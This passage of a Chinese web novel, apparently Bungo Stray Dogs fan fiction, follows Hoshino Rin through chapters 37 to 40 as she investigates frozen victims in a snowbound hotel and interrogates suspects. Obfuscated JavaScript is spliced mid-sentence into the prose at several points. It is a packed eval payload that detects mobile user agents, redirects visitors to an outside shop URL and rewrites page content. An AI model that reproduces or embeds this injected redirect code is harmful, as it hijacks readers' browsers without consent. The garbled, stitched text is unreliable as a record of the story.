还挺聪明,知道信号塔坏了,手机接不了电话,直接把卫星电话装她口袋里了。 看着这一串陌生的号码,她犹豫半天还是接了。 “喂?是凛酱吗?太好了!终于打通了,国木田君,你快点过来看,卫星电话派上用场了!” 是太宰的声音。 37.第 37 章 “凛酱?你有在听我说话吗?” 太宰的声音还在继续。 星野凛毫不留情地挂断通话,拿出用国木田的异能变出来的手电筒,对水泽莲音说:“我们赶紧回房间吧,我有点累了。” 水泽莲音扛起尸体:“好,不过是去我的房间还是去凛酱的房间呢?” “我的房间吧,你的房间离井上的房间太近了,我怕有噪音。” “好吧。” 星野凛刚抬脚迈了几个步子,就被手机铃声钉在原地。 依旧是太宰打来的。 她叹了口气,把电话挂断。 没一会电话又打来了,她再次挂断。 太宰像是在和她玩接力赛游戏一样,乐此不彼,她只要一挂断就立马打过来,就这么来回拉扯了十几分钟。 “……” 幼稚死了。 当太宰再次打过来的时候,星野凛差点想把卫星电话给摔坏,好在她冷静下来了,把卫星电话塞到水泽莲音的手里,自己则躲得远远的。 水泽莲音看着星野凛像躲洪水猛兽一样躲着这通电话,对打电话的人不免生出了几分好奇。 水泽莲音按下接通键,对面很快就说话了:“凛酱不要挂掉,我有很重要的事要和凛酱说。” “抱歉,我不是凛酱,我是她新认识的朋友,水泽。” 对面的人似乎早就预料到了,从善如流地说:“没关系哦,水泽小姐,能麻烦你代替我向凛酱传话吗?” 水泽莲音看了一眼星野凛:“没问题,你想让我传一些什么话呢?” “也没什么啦,就是想让凛酱注意一下不起眼的人和线索,侦探社的大家都很担心她,让她照顾好自己,麻烦水泽小姐了。” “我会转告的。” 水泽莲音挂断通话,一脸八卦地看向星野凛:“真是让人羡慕啊,凛酱的男朋友也太关心凛酱了吧。” 星野凛一把抢过卫星电话,听到水泽莲音的话像是听到了什么鬼故事:“哈?你在说什么啊?什么男朋友,你说那家伙吗?” 水泽莲音笑了笑:“不然呢?反正我是没见过不熟的同事被挂断那么多次电话,依旧锲而不舍打过来的。” “是你见识少。让你失望了,他就是那种喜欢多管闲事但不熟的同事。” “是吗?” “是啊,和同事交往什么的,还是算了吧。” 尤其对方还是一个阴晴不定,难以琢磨的古怪同事,还交往,不把她卖了就不错了。 “好吧,那凛酱想知道他要我传话的内容吗?” “不想知道。” 星野凛察觉到室内变得越来越暗,把手电筒打开了。 “那我偏要告诉你,他说让你多注意一下不起眼的人和线索,让你照顾好自己,还非要拿其他人做挡箭牌,我看这句‘照顾好自己’分明是他自己想说的吧?还真是不坦率呢。” 不起眼的人和线索?乱步先生还真是厉害啊,这么远的距离还是能推理出她经历了什么,还让太宰那家伙告诉她。 为什么她知道这是乱步先生的提醒而不是太宰的提醒呢,很简单,因为太宰没有一眼看破整个事件的能力,哪怕他再聪明,而乱步先生却能做到,哪怕她离侦探社再远,也还是能推理出她经历了什么。 不过这句话倒是提醒了她,难道凶手是那种看起来没什么存在感的人? “哦,你说完了吗?说完了就赶紧回房间,难道你想大半夜不睡觉被人不明不白地害死吗?” “当然不想了。” 水泽莲音来到电梯前:“凛酱,帮我按一下,我腾不出手。” 星野凛按下她们的楼层,“话说目黑先生不会出什么事了吧?一直在312房间没下来。” “一会就看看就知道了。” 电梯到达她们所在的楼层了,星野凛先一步出去:“尸体刚好送回312,我先去敲门。” “有人在吗?” 星野凛来到312房门前,敲了几下。 此时此刻,整栋酒店里,除了她手里的手电筒能发出光亮外,周围全是一眼望不到底的漆黑。 因为停电,连声控灯都没有,显得阴森又恐怖。 “吵死了,谁啊?大半夜不睡觉,敲别人门。” 开门的是井上雄。 “是我,你有什么意见吗?” 井上雄借着星野凛手里的微弱光亮,看清了她的脸,嚣张的气焰立马变小:“没、没有意见,你来找我有什么事吗?” “也没什么别的事,我来是为了把坂本放回你房间的,这么一具尸体放在哪都不太合适,只好继续放回你房间了。” 星野凛侧头看向水泽莲音:“你快点过来,怎么这么慢。” 水泽莲音加快脚步,来到312门前,放下尸体:“我已经很快了,也不知道坂本生前都吃了什么,实在是太重了。” 井上雄把坂本拖进了房间:“对了,你们赶紧把他带走吧,我一回房间就看到他躺在我的床上呼呼大睡。” 星野凛拿着手电筒照了照,“这不是目黑先生吗?不是说他在打扫卫生吗?” 结果在312睡得这么香,她还以为他出事了呢。 井上雄:“我不知道,反正我一回来他就在睡觉。” “……” 水泽莲音走近,戳了戳目黑:“让他睡吧,肯定是平时工作太辛苦,才没忍住在床上睡着了。” 井上雄有些崩溃:“他把我的床给霸占了,那我怎么办?总不能我打地铺吧?开什么国际玩笑,我可是付了房费的,怎么能便宜他呢?!” “真蠢。” 星野凛吐槽了一句,随后把睡得香甜的目黑拉下床:“这样不就行了,反正他睡着了,睡在哪都无所谓。” 井上雄:“……” 水泽莲音笑弯了腰:“哈哈哈救命,大概只有凛酱才会这样,把人从床上拉下来吧?哈哈哈哈……” 星野凛丝毫不觉得有什么问题:“本来这间房也是井上掏的钱,目黑确实没资格睡在床上。” “井上,你这次一定要看好尸体,不要再被工作人员发现了。” 不然又要解释,麻烦死了。 “我知道了,这次绝对不会再被发现了。” “好了,我们回去吧。” 星野凛看着水泽莲音说道。 “诶?这就走了吗?目黑先生这样真的没问题吗?” “要不你让目黑睡你的房间?不要多管闲事。” “那还是算了,凛酱我们走吧。” 星野凛点点头,在水泽莲音走出房门后,把门给关上。 借着手电筒的光把钥匙插.进锁芯,轻轻一转,门就开了。 星野凛把钥匙放到床前的台灯下:“进来吧,顺便把门关上。” 水泽莲音关上门,模糊地打量了一下房间:“凛酱,你的房间好小啊,同样都是单间,为什么凛酱的小那么多?” “……” 这家伙绝对是故意的。 星野凛边收拾床铺边说:“因为我穷,听到这个回答满意了吧?水泽小姐,有没有人和你说过,你的情商真的很低。” “真的有这么低吗?” “收拾好了,快点躺下吧。” 原本凌乱的床铺变得平整有序,星野凛先钻进被窝,把左边的位置留给水泽莲音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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星野凛这么想着,眼皮忍不住打架,大脑也昏昏沉沉。 她立马清醒过来,在心里默念,不能睡,千万不能睡,睡着了就无法确定水泽莲音是不是凶手了。 她努力睁着眼睛抬头看向天花板,黑漆漆的,什么都看不清。 反而很催眠,不知道怎么回事,她今晚格外困。 眼睛睁着睁着就慢慢闭上了,意识也陷入了一片混沌。 站在床头前的深川千礼解除了异能,帮星野凛盖好被子,又走到水泽莲音的旁边帮她盖好被子。 深川千礼边盖边吐槽:“真是两个不让人省心的家伙。” * 星野凛迷迷糊糊睁开眼,天亮了吗? 随后猛地坐起来,天啊,她都干了些什么啊,昨晚居然就这么睡着了。 错过了昨晚,今晚再提出和水泽莲音一起睡,会被怀疑的吧? 绝对会。 “早上好,凛酱。” 水泽莲音扔给她一个饭团:“吃早饭吗?我刚下去拿的。” “谢谢你,我不饿。” 星野凛穿上鞋走到窗前,外面依旧下着暴雪。 “凛酱不吃的话,那我吃了?” “随便。” 水泽莲音捡起扔到床上的饭团,放进口袋里:“我还没吃饱,凛酱要不要和我一起下去?” 星野凛坐在床边:“你自己去吧,我不想动。” “好吧,那我自己下去了。” 水泽莲音说完就出去了。 星野凛郁闷地叹气,她怎么就睡着了呢?要是忍住就好了。 “凛酱,出事了,出大事了。” 水泽莲音忽然又回到了房间。 星野凛看着去而往返的水泽莲音疑惑道:“怎么了?发生什么大事了?” “千叶清香出事了,有人在餐厅发现了她,她现在已经被冻成冰雕了。” “诶?” 38.第 38 章 星野凛立马从床边站起来,往外走:“事情发生得也太突然了吧,千叶清香现在还在餐厅吗?” “这会应该不在了吧,下去看看就知道了。” 水泽莲音跟上她。 电梯需要等,星野凛嫌慢,直接走的楼梯,一路小跑下去。 到达一楼大厅时,只见四周围满了人,挤在一起窃窃私语,而他们议论的对象,是躺在地板上,变成冰雕的千叶清香。 千叶清香的保镖高木则是守在她身边,如果有人试图靠近,就会凶神恶煞地威慑对方,因此那些人只敢小声议论,不敢出声,更不敢靠近。 目黑看到星野凛和水泽莲音下来,就像看到了救命稻草般:“太好了,我正想去找你们呢,就在刚刚千叶小姐被人在餐厅里发现了,只不过样子很奇特,被做成了冰雕,和坂本的死状一样,拜托你们了,一定要查清真相。” 目黑的言下之意她都懂,这次出事的是千叶会社的大小姐,也是千叶会社未来的继承人,不查清真相的话,这家酒店的高层承担不起那么大的后果。 这家酒店貌似还是千叶会社投资的,出了这种事,撤资都是轻的,搞不好会在行业内永远消失都说不定。 “我尽力吧。” 星野凛又想起了昨天的事,不禁有些心虚:“那个,目黑先生,你昨晚睡得好吗?” 说起这个,目黑就来劲了,他按了按自己酸疼的脖颈:“昨天我在312打扫房间,累得睡着了,结果我醒来后发现自己竟然躺在地上,井上先生实在是太小气了,我好心帮他打扫房间,没想到他不仅不感谢,还把我扔下床,害得我都落枕了,哎呦,我的脖子啊……” 星野凛想说,你一个大堂经理,连本职工作都做不好,还本末倒置去当保洁,给人打扫房间,到最后还要怪别人把你拉下床,难道不该拉吗?就算是保洁,也没见有哪个保洁累了就躺在客人床上呼呼大睡的,不把你扔出去就不错了。 但还是忍住了,话在嘴里转了个弯,只说了一句:“是啊,没想到井上这么小气。” 多一事不如少一事,她还是不搅这趟浑水了。 水泽莲音也跟着附和道:“就是就是,井上真是不知好歹,怎么能这么对待目黑先生呢,一点礼貌都没有。” 目黑沧桑道:“我都习惯了,像这种好心没好报的生活,我已经过了三十五年了。” 这家伙到底有完没完,帮几句腔,他还矫情上了,原来他从出生起就喜欢本末倒置啊,难怪工作这么多年了,还只是个大堂经理。 星野凛不想继续听他的矫情发言了,把视线移向地上的千叶清香:“目黑先生知道是谁发现的她吗?” “是一对恋人发现的,还有一个女子高中生,只不过那个女子高中生被吓晕过去了。” 她知道女子高中生是谁,经过这几天,她早就把住在这里的人给了解透了,目前整个酒店只有一个高中生,就是水泽莲音反复提醒过的高桥樱子。 至于那对恋人,她没有特意去记,住在这里的恋人多了去了,总不可能一个个去记吧。 “那对恋人现在在哪里?” “回房间补觉了,说什么昨晚一直在运动,白天不补觉没精力。” “……” 是正经运动吗?分明是活塞.运动。 星野凛掏出口袋里的卫星电话,这个酒店目前发生的事情太多了,每一件都超出了她的预料,光靠她一个人是解决不了的,必要时还是得求助。 “凛酱要打给谁?” 水泽莲音恍然大悟,调侃道:“不会是要打给你那个同事吧?” 星野凛一脸无语:“你想多了,我要打给警察,发生了这么多事,不报警怎么行。” 听到星野凛要报警。目黑激动道:“不能报警!绝对不能报警!” “为什么不能报警?我知道一旦报警千叶清香的事就会传到社长的耳朵里,但瞒得了一时,瞒不了一世啊,目黑先生,我希望你能明白这个道理。” “好吧,你说得对。”目黑妥协了。 星野凛按了两下,没反应,不会是坏了吧?她不信邪,又按了两下,这次有反应了,只不过没亮几秒就因为电量低,自动关机了。 昨天还是满格的电,结果今天就没电了,太宰那家伙到底在哪买的便宜货,关键时刻就派不上用场了。 不过也有可能是因为她的倒霉体质又发作了,不管怎么样,太宰都要承担一半的责任。 星野凛把卫星电话收起来,装作什么事都没有发生的样子看向四周。 算了,报不了警就不报了,遇到事情还是得靠自己。 水泽莲音目睹全程忍不住哈哈大笑:“哈哈哈哈!凛酱,自欺欺人可不是什么好习惯哦。” “你好吵,我才没有自欺欺人呢。” 星野凛看向千叶清香,她透过厚厚的冰发现千叶清香的身上,竟没有一处伤口,皮肤还算有血色,和坂本截然不同,坂本的身上有伤口,早就没有了血色,可以说是死得透透的。 她悄悄开启异能,靠近千叶清香,身旁的高木警惕地看着她:“你想做什么?” 星野凛实话实说:“我想救她,虽然不能保证她一定会活,但不试试的话,她就真的死了。” 高木皱了皱眉,面露纠结,最终还是妥协了:“别想耍花样。” “放心,我可是专业的。” 星野凛掠夺了【人间失格】,把手放到千叶清香的身上,没一会冰就融化了。 看来是和杀害坂本的是同一个人,她还以为这次是烟雾弹,没想到是同一个人,凶手很狂妄啊,连续两次相同的手法,一点也不害怕被发现。 星野凛又掠夺了【请君勿死】,把从濒死状态的千叶清香救了回来。 看到千叶清香睁开了眼,高木着急忙慌地靠近:“小姐,你身体还有哪里不舒服的吗?” 千叶清香摇了摇头,慢慢坐了起来:“我这是怎么了?” 不会失忆了吧? 星野凛看着坐起来的千叶清香,不禁有些疑惑,为什么凶手没有杀千叶清香,只是单纯地冻住她? 难道凶手和千叶清香认识? “你被冻成了冰雕,是我把你救回来的,不过感谢的话就免了,只需要告诉我你昨天晚上都干了什么就好。” 千叶清香看向星野凛,又看了看高木,见高木点了点头才相信,“我昨晚肚子有点饿,就趁高木睡着,一个人偷偷跑到餐厅找吃的,忽然有人从背后偷袭了我,然后我就什么都不记得了。” 星野凛靠近千叶清香,伸手摸了摸她的后脑勺,确实摸到一个包。 “你干嘛啊,这是真的,我还能骗你吗?”千叶清香捂住后脑勺,瞪了一眼星野凛。 “就是想确认一下,没别的意思。” 星野凛摸了摸鼻子,看着高木:“对了,为什么像千叶小姐这种身份的人,出门在外只带了你一个人,这也太不合理了吧。” 高木看向千叶清香,得到千叶清香的允许后才开口:“小姐这次出来是瞒着所有人的,包括社长,所以只带了我一个人。” 星野凛毫不留情地戳破:“离家出走就说离家出走嘛,还什么‘瞒着所有人’。” 千叶清香冷哼道:“我没有离家出走!单纯出来散心不可以吗?” “你是真的没看到凶手的脸吗?这种事情最好不要隐瞒,你要是隐瞒了,相当于害了整个酒店,你也不想有无辜的人遇害吧?” “我真的没有看到凶手的脸,我当然不想看到无辜的人遇害。” 星野凛看着千叶清香的眼睛,三秒,十秒,二十秒,三十秒,她终于忍不住眨眼,看来千叶清香没有说谎,眼神里全是清澈的愚蠢。 水泽莲音看不下去,吐槽道:“喂,不要擅自玩这种不许眨眼的幼稚游戏啊!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223456|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 星野凛揉了揉眼睛:“我没有玩,我只是在测试她有没有说谎而已。” “我也没和她玩这种无聊的游戏。” 千叶清香揉完眼睛,得意道:“不过还是我最厉害,我能坚持三十多秒,我赢了。” 星野凛不服输:“刚才是我让你的,不信我们再比一次?” “比就比!” 眼见事情朝不可控的方向发展了,水泽莲音连忙阻止道:“停!比什么比,你们是小学生吗?都给我把注意力放到重要的事情上啊!” 星野凛回过神,仿佛刚才要和千叶清香比试的不是她一样:“就是,千叶小姐是小学生吗?真幼稚。” 千叶清香要被气笑了:“你装什么装,明明是你说要比试的,现在又把自己摘得干干净净,真是个无耻的人。” “我无耻?如果我真无耻的话就不会救你,让你继续困在冰里,成为冰冻人才好。” “我……” 千叶清香被噎住了,“哼!我不和你吵,高木,陪我去吃饭!” 高木恭敬地跟在千叶清香的后面:“是,小姐。” 看到千叶清香走了后,星野凛才想起重点:“目黑先生,那对恋人住在哪间房?” 没得到回答,她又喊了一声:“目黑先生?” 水泽莲音:“他肚子疼去上厕所了。” “你怎么知道?” “他捂着肚子满脸痛苦,不是去上厕所还能去干嘛?” “那你知道他去了哪个厕所吗?” “他一副憋不住的样子,肯定是去最近的厕所。” “……” “凛酱要去二楼厕所找目黑先生吗?” “没那个时间。” 星野凛跑去问前台:“牧野小姐,你知道发现千叶小姐的那对恋人住在哪间房吗?” 牧野找到了登记记录:“在415,您一定要找到凶手啊,我和木下这几天都害怕得睡不着觉。” 一旁摸鱼的木下附和道:“是啊,晚上值班的时候我都得让牧野陪着我才行,实在是太可怕了。” “我尽力,不过你们也别对我抱太大希望了,毕竟我只是个普通人。” 星野凛摆了摆手:“还是要谢谢你们,愿意把这么隐私的信息告诉我。” 星野凛走到电梯旁等电梯,水泽莲音跟上去问道:“前台有告诉你在哪个房间了吗?” “415,在我们的上层。” 电梯门开了,星野凛和水泽莲音走进去。 一分钟后到达她们的目的地了,星野凛默默地数着413,414,415。 在415房门前,星野凛敲了敲门:“你好,我是来问关于千叶清香遇害事件的,麻烦开一下门。” 等了三分钟,没有人回应,也没有人开门。 水泽莲音自告奋勇:“要不我把门踹开吧,你这样敲,就算敲八百年都不会开的。” “行吧,你那轻点踹,踹坏了可是要赔钱的。” 星野凛后退到一边,把空间让给水泽莲音。 “放心吧,我心里有数。” 水泽莲音抬起脚,用力一踹,门瞬间就开了。 星野凛走进去:“我说,你们……” 看到床上的景象后,星野凛把后半句话咽了下去。 “凛酱,怎么了?” 星野凛闭上眼睛转过身:“你自己看。” 由于房间隔音效果太好,她根本没有听到做活塞.运动的声音。 那对恋人听到有人进来后,尴尬地用被子挡住自己的身体,女人还干巴巴地打了个招呼:“你好,哈哈哈,真是不凑巧……” 水泽莲音只看了一眼就匆匆跑出去了:“凛酱,我其实有心脏病,看不了这么活.色生香的刺激画面,我先出去了,你自己多保重吧。” “……” 做了一晚上的活塞.运动还不够,大白天的还做,白日宣.淫真是不知廉耻啊。 39.第 39 章 “给你们五分钟,把衣服穿上,一会我有事要问你们。” 星野凛说完这句话就走出了房间。 没一会房间内就传来衣料摩擦而产生的窸窣声。 星野凛把门关上,隔绝了声音,看到水泽莲音一直在面壁思过,她轻轻推了水泽莲音一把:“喂,差不多行了,要面壁思过也是他们面壁思过,你面什么过啊,真无聊。” 水泽莲音转过身看她:“我没有面壁思过,我只是一时接受不了那么淫.秽的画面,这对我纯洁的内心造成了非常大的伤害。” 星野凛笑了一声:“不至于吧,你好像那种没有被认真普及过杏教育的国中生,不对,连国中生都比你成熟。” “什么嘛,评判一个人成不成熟和杏有什么关系,凛酱什么会有这种结论?” “呃……这个不重要,不过你说得也有道理,我只是不想让你谈杏.色变而已。” 评判一个人成不成熟确实和杏没关系,为什么她会有这种结论呢?生活在动荡不安的里世界里,每天见惯了鲜血和死亡,许多人把杏当做放松享乐的方式,开了无数条相关的黑灰色产业。 她不理解,也没有去过这种地方,有人理所当然地认为,只有做过活塞.运动的人才是真正成熟的人,面对活塞.运动会害羞会逃避的人是不成熟的人,时间长了,不免会被这些言论给影响。 她刚才对水泽莲音说的那句话是曾经的她最反感的话,现在却被她不痛不痒地说出来了。 人总是会不知不觉变成自己最讨厌的样子,偏偏自己还不知道为什么会变成这样。 “我们穿好衣服了,请小姐进来吧。” 女人的声音从房间内传出。 “我马上进去。” 星野凛抬高音量回答道,又问水泽莲音:“你要和我一起进去吗?还是继续在这等着?” “我还是和凛酱一起进去吧,在这等着太无聊了。” 星野凛走进房间,见他们没有偷工减料少穿衣服才放下心:“我叫星野凛,来找你们是想问一下关于千叶清香的事。” 女人说:“原来是为了千叶小姐的事来的啊,我叫水野里子,这是我的男朋友,高野健人。” 高野健人整个人都贴在水野里子的身上,直到水野里子掐了他一把,他才不情不愿地开口:“我是高野健人,这是我的女朋友,水野里子。” “……” 说这么多废话干嘛?谁要听你们这对颠公颠婆互相介绍啊,就不能说点有用的吗?! 水泽莲音慢悠悠走进房间:“好巧,我的姓氏里也有‘水’字,我叫水泽莲音。” “是吗?还真是有缘分啊。” 水野里子笑着说。 星野凛:“千叶清香是今天早上被发现的,你们是最先发现她的人,除了你们和那个已经被吓晕过去的高桥樱子之外,还有其他人目睹过千叶清香在餐厅吗?” “应该没了,我和健人去餐厅的时候天还没亮,我们摸着黑勉强吃了几口,等我们吃完的时候外面才依稀透出点光亮,而且被吓晕过去的那个高中生貌似比我们去得还早。” “我们借着外面的光,看清那个高中生的时候,她突然间大叫,说看见尸体了,然后我们就在她座位的左后方发现了冻在里面的千叶小姐,和上次死去的人一模一样,都被冻了在冰里。” 按照水野里子所描述的,目前高桥樱子的嫌疑最大,但并不代表水野里子没有嫌疑,她还是觉得在没有确切的证据之前,每个人都有嫌疑,不能放过任何一个有嫌疑的人。 水泽莲音问:“为什么你们这么早就回房间了?不怕被怀疑吗?” 水野里子耸了耸肩:“我本来也想一直在餐厅等着的,但健人他非要拉着我回来,正好昨天晚上没休息好,所以就陪他一起回来了。” 高野健人轻轻打了一下水野里子:“里子酱,不要把所有事情都怪到我身上嘛,我只是想让里子酱早点休息而已。” 水野里子站起来和他拉开距离:“都是借口,你是为了自己的快乐,才催促着我赶紧回来休息吧?都怪你,害得我给星野小姐和水泽小姐留下不好的印象了,我要和你分手!” “我错了,不要分手,我真的知道错了……” 这还没到晚上呢,怎么就演上深夜档里的无聊桥段了? 眼看问不到什么有用的信息,星野凛抬脚往门外走:“感谢你们的配合,我就不打扰你们了。” “我也不打扰你们了。” 水泽莲音说完也跟着星野凛一起出去了。 水野里子走到门前:“不打扰的,能帮到你们就好。” 星野凛意有所指地提醒道:“不用送了,水野小姐早点休息吧,那种事情要适度,纵.欲过度对身体不好。” 水泽莲音扯了下她的衣角,给她疯狂使眼色,她假装看不见。 水野里子揉了揉眼眶:“感谢星野小姐的提醒,我会注意的,我最近身体确实不太好,估计和这个有关。” 星野凛又说了几句“注意身体”之类的话,就离开415了。 在等待电梯的间隙,星野凛忽然想起水泽莲音对她使的眼色,开口问她:“你刚刚想表达什么?” “凛酱现在问会不会有点晚了?刚刚我就是想让你注意一下,不要说太多失礼的话。” “ ?我说话失礼?你还是管好你自己吧,你也没比我好哪去。” 电梯停在了她们的面前,水泽莲音先进去,星野凛后一步进去。 “一会要去找高桥樱子吗?那个女子高中生。” “是要去找,但不知道她住在哪个房间怎么找?所以一会先去一楼,找前台问清楚。” 水泽莲音看着不断向下闪烁的数字问:“不找目黑先生吗?他现在应该上完厕所了。” 星野凛打了个喷嚏:“找他干嘛?明明是个大堂经理却一点都不靠谱,天天见不着人影,我现在都有理由怀疑目黑是凶手了。” 目黑之前还赖在井上雄的房间里不去一楼,这几次也只是露个面就跑没影了,身为一个大厅经理,对案件的上心程度都不如她高,可疑,实在是太可疑了。 “他确实不靠谱,但是凛酱这样怀疑他也太草率了吧?” “你再说就连你一起怀疑。” 水泽莲音非常自觉地闭麦了,闭紧嘴巴,一句话都不说。 电梯门开了,星野凛走到前台:“牧野小姐,能麻烦你帮我查一下高桥樱子住在哪间房吗?她被吓晕过去后,是谁把她送回房间的?” “高桥樱子吗?她好像是被目黑先生送回去的。” 牧野翻找记录本:“找到了,在216。” “谢谢,我知道了。那目黑是什么时候送高桥樱子回去的?” 木下插话道:“在那对恋人发现千叶小姐的时候,我亲眼所见。” “谢谢你们。” 星野凛道完谢就去爬楼梯了。 水泽莲音在电梯口等着,看到她去爬楼梯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“听说今天早上发现千叶清香的还有你,但你晕过去了,你还记得是谁把你送回来的吗?” “是大堂经理,目黑先生送我回来的。” 星野凛在床边坐下:“水野里子,也就是那对恋人中的女人,她说你比他们早一步到餐厅,但你并没有和他们说话,我想知道你是不是真的比他们早到餐厅。” 高桥樱子攥紧自己的双手,抬头看向星野凛:“我并没有比他们早到,而是和他们同一时间到的,只不过当时天没亮,看不太清,我视力好,所以察觉到他们是和我同一时间到的,他们的视力不如我,才会觉得我比他们早到,我不和他们说话只是因为不熟而已。” “不过,我早就猜到水野小姐会这么说了。” 星野凛:“为什么?” “因为水野小姐的妈妈在千叶会社旗下的一家珠宝店工作,千叶小姐当时正好来店里视察,水野小姐的妈妈迟到了一分钟,被千叶小姐扣掉了半年的工资,而水野小姐的家里又欠下了很多债,急等着这笔钱救命。” “千叶小姐这么做,相当于把水野家推向了深渊。” “所以千叶小姐这次出事,我一点都不感到意外。” 星野凛站起来,走到高桥樱子的面前,弯腰和她对视:“那你是怎么知道这些的?” 她记得高桥樱子只是个孤儿吧?一个没有双亲,靠孤儿院的资助上学的普通高中生,为什么会知道这么多? 高桥樱子仰着头看她:“我妈妈曾经也在那家珠宝店工作过,和水野小姐的妈妈是同事。” “???” 40.第 40 章 星野凛有些惊讶,她还以为高桥樱子从很小的时候就成为了孤儿,没想到不是这样的,压下心中的情绪,她没有打断高桥樱子的话。 高桥樱子继续说:“不过那是五年前的事了,妈妈在辞去珠宝店的工作没多久后,就因为遗传疾病去世了,爸爸承受不住打击也去世了,我家没有关系密切的亲戚,从此我成为了孤儿,靠孤儿院的资助上学。” 水泽莲音挠挠头:“从你的描述来看你是认识水野里子的,但水野里子为什么不认识你呢?你妈妈和她妈妈是同事的话,肯定都见过对方的家属,你怎么解释水野里子不认识你这件事。” 高桥樱子松开攥着衣角的手:“珠宝店员工很多,水野小姐的妈妈性格爽朗,和谁都能聊得来,而我妈妈性格木讷,平时除了水野小姐的妈妈之外,没人和我妈妈来往,我周末休息的时候会去给妈妈送饭,恰巧碰见来给水野阿姨送饭的水野小姐。” “但水野小姐并没有注意到我,一直以来都是我单方面认识水野小姐,所以水野小姐不认识我实在是太正常了。水野阿姨被千叶小姐扣掉工资的时候,我妈妈还没有辞职,不过这件事只是我的猜测,我并没有直接指控水野小姐。” “什么话都让你给说了,其实你还是怀疑水野里子的吧?” 星野凛移开视线,直起腰,重新坐到床边:“先不管你说得是不是真的,你先告诉我,你昨天晚上除了睡觉之外,还干什么了?” 高桥樱子着急辩驳道:“我没有怀疑水野小姐!都说了,那是我的猜测……” 星野凛顺着她说:“好好好,你没有怀疑,你告诉我,你昨天晚上有去餐厅吗?” “我没有,昨晚我回房间后就睡了,没有去任何地方。” “谁能证明这一点?” “目黑先生能证明,昨晚我有点低血糖,在楼道里跌倒了,是目黑先生恰巧路过,给了我一块巧克力,我吃完就回房间了。” 星野凛挑了挑眉:“是吗?那还真是巧啊。” 简直巧到离谱,低血糖这件事为什么不第一时间说?非得这时候说,很难不让人怀疑是现编的。 继续待下去也没什么意思,星野凛起身走到门前,把反锁着的门拧开:“该了解的情况我都了解得差不多了,就不打扰了。” 水泽莲音看到星野凛把门拧开,第一时间窜出去:“我也不多打扰了。” 见水泽莲音窜出去的星野凛:“……” 这家伙真是一点也不稳重。 高桥樱子站到门前目送她们离开:“慢走。” * 夜幕降临,星野凛在床上辗转反侧,在第八十九次尝试入睡却怎么也睡不着时,她烦躁地睁开眼,一片漆黑,什么也看不见。 她发现凶手似乎很喜欢在夜间活动,想到这一点后她彻底睡不着了。 伸手摸到枕头旁的手电筒,打开后,她借着手电筒的光穿鞋。 又从行李箱里翻出了一把手枪装进口袋里,检查了一遍窗户后,她把门反锁上,打算先去餐厅碰碰运气。 从高桥樱子的房间离开后,她和水泽莲音就分开了,有个人在身边行动起来不方便,她总觉得水泽莲音在监视她,她走一步,水泽莲音就跟一步。 今晚水泽莲音还打算陪她一起睡,被她拒绝了。 她又不是真的害怕,那晚也只是在观察水泽莲音,可惜她睡着了,根本没法确定水泽莲音那晚究竟出没出去。 星野凛慢吞吞下楼,还是一个人更自在,她轻声哼着太宰的殉情之歌,不知不觉就来到了一楼。 要说她为什么会太宰的殉情之歌,还不是因为那家伙天天在她面前唱,白天唱完晚上唱,时间长了,她耳濡目染地也就学会了。 算了,不提那家伙了,还是先干正事吧。 她轻手轻脚地走到前台,看到牧野和木下两个人坐在椅子上呼呼大睡。 “……” 这两个人也太不靠谱了吧,之前还说自己害怕得睡不着觉,这不睡得挺香的么。 星野凛没打算叫醒她们,只是想看一下她们两个到底有没有在认真工作。 她转身走向餐厅,举起手电筒粗略地扫了下,没有人。 她夹了块面包,随便找了个座位坐下,边吃边守株待兔。 等到一块面包都吃完了,也没见一个人影,凶手这次很有可能换作案地点了,她伸了伸腿,有点硬,好像踢到什么东西了。 她蹲下来拿着手电筒查看,是一根棒球棍。 奇怪了,餐厅里怎么会有棒球棍? 她记得当时千叶清香说自己在餐厅被人偷袭了,后脑勺还起了包,看样子凶手应该是拿棒球棍偷袭的千叶清香。 这棒球棍还留在餐厅没拿走,肯定是准备等晚上没人的时候再拿走。 她现在只需要找个地方等,看谁到餐厅捡这个棒球棍谁就有可能是凶手。 留在餐厅肯定不行,一是餐厅太大了,没有躲藏的地方,二是她怀疑的人基本都住在她的上面,要么就和她同楼层,她在自己的房间里等正好能听见动静。 只要不把门关严实就行。 最近电梯的内部供电快要没了,越来越多的人选择走楼梯,哪怕住二十五层也走楼梯,因为电梯实在是太慢了,一开始要等一到两分钟,现在却要等五六分钟,甚至是十分钟。 她觉得不一定是因为供电的问题,很有可能是电梯内部故障了,这种情况下乘坐电梯是很危险的。 所以在房间是最好的选择,一定会有人走楼梯的,到时候听脚步声就行, 事不宜迟她把棒球棍放回原地,自己原路返回,在快要到房间的时候突然瞥到一个人影,她迅速把手电筒摁灭,贴到楼梯旁的墙壁上。 她悄悄探头观察那个人影,发现对方一直在井上雄的房门口徘徊。 很快,又有一个人从另一边的楼梯走下来。 “他不是我们的目标,你不要在他身上浪费时间了。” 声音好耳熟,但她完全想不起来是谁。 “放心,我会完成任务的,至于别的,就和你无关了。” 这个声音她听出来是谁了。 是高桥樱子! “什么叫和我无关?你不顾我的劝阻杀了坂本,到最后还要靠我来给你转移火力,这次的任务不是你一个人的,没有我,你早就被怀疑了。” 等等,坂本是高桥樱子杀的?说明高桥樱子其实是异能者,包括千叶清香的事,都是高桥樱子干的?! “我白天已经被找过了,照这样下去用不了多久我就会彻底暴露的。你说,那两个人究竟是什么来头?” 那两个人应该是指她和水泽莲音。 “不清楚,还是小心点吧,我先走了,你别给我惹事,我可不想明天又要面对一起命案。” “真啰嗦,快滚吧。” 察 